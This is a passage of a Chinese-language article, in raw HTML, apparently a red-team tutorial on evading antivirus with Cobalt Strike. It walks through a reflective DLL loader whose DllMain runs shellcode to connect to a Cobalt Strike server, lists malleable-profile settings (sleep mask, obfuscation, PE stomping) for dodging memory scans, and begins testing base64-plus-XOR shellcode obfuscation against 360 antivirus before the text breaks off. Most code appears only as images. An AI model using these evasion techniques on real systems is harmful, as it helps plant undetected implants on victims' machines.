&#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="882" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5804988662131519" src="https://wechat2rss.xlab.app/img-proxy/?k=287a785e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaSIIFwlL0ib5164xLLWnRBjMqbPlm06hABkt2EBveGj9OLEcccQemFjw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">后来发现原本项目的release目录下有python的加密脚本：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="867" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5767012687427913" src="https://wechat2rss.xlab.app/img-proxy/?k=5da4a0fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNavibibFXF8kX7mCYYKBOSzX8Mh07qRD99C2Wk6RrYbia1J5RIqLGMGibzcA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">解密载入内存后，使用GetReflectiveLoaderOffset计算出ReflectLoader函数的偏移:</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="898" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5534521158129176" src="https://wechat2rss.xlab.app/img-proxy/?k=726e5028&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaT0Q3DtEwSgJTicESicRl13bCwF2YLurstjmru7muFnbyEHPOgibLcq6pg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最后创建线程调用ReflectLoader函数。</p><h4 style="font-size: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">dll部分</h4><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ReflectiveLoader一共做了5件事：</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">一、 解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等), 通过关键函数的hash在内存中搜索，函数hash：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="780" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.4717948717948718" src="https://wechat2rss.xlab.app/img-proxy/?k=f34c647f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNa5ZNobVibEKp8aRwEKJedNWYfw1j3HHeoDicutR5DRibmz7zCqiaO6d927g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">遍历内存进行搜索：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="848" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5683962264150944" src="https://wechat2rss.xlab.app/img-proxy/?k=938b89bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNajx73rAGfhmzWxBV1Vc30CY7y1LgdUR3Nf8EPucYhP1p3UBLlvOFzlQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">二、 将DLL及其相应的节写入内存中：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="874" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5663615560640732" src="https://wechat2rss.xlab.app/img-proxy/?k=e6ebbe12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaTTMWjYCLiarHOnkwicYBibG88qynX6Tvhmic7WLiaQpXpMIuSlzYuP15YDw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">三、 建立DLL导入表，以便DLL可以调用ntdll.dll和kernel32.dll WINAPI</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="891" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5331088664421998" src="https://wechat2rss.xlab.app/img-proxy/?k=29531b42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNax6AlULyFhy7RZVnK1TbeRJswPU2jl0iauW2BnTvys5gvY6xrNOLFia8Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">四、 修复重定位表：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="900" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5933333333333334" src="https://wechat2rss.xlab.app/img-proxy/?k=28fa6963&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNab5917DBvbB8PniaHiaxWibQUp1yyj92TFTAThreOCKVu3xEn8uLicsicNGw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">五、 调用DLL的入口点:</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="921" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.38436482084690554" src="https://wechat2rss.xlab.app/img-proxy/?k=28439ca1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNa3Sb4nPNQPVXoDWHErbbyYUIzJoNeddZ53SobabJsibKTvYKWEpvSJfg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最终我们的恶意代码位于dllmain中，项目还是采用加载shellcode的方式上线cs。</p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">柔性加载</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">限制使用具有RWX标记的内存，cs在4+可以直接进行相关配置。配置文件格式可以参考：<a href="https://bigb0sss.github.io/posts/redteam-cobalt-strike-malleable-profile/" target="_blank">https://bigb0sss.github.io/posts/redteam-cobalt-strike-malleable-profile/</a></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="854" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.6850117096018735" src="https://wechat2rss.xlab.app/img-proxy/?k=00e79791&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaxPfmaYcF4dITwwOGsial4DQH75ehREVpfehqsy7QsCVllY2mfzMdtnQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">原文作者的推荐配置：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">set startrwx        &#34;false&#34;;<br/>set userwx          &#34;false&#34;;<br/>set cleanup         &#34;true&#34;;<br/>set stomppe         &#34;true&#34;;<br/>set obfuscate       &#34;true&#34;;<br/>set sleep_mask      &#34;true&#34;;<br/>set smartinject     &#34;true&#34;;</code></pre><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">牛刀小试</h2><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">360</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用base64+xor混淆shellcode：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.4564814814814815" src="https://wechat2rss.xlab.app/img-proxy/?k=83598b60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaKowG0w1iakkmbWM4A9HSyPkwsjleAcfaV7DazfOXnMq4SxglLK3jAfA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: 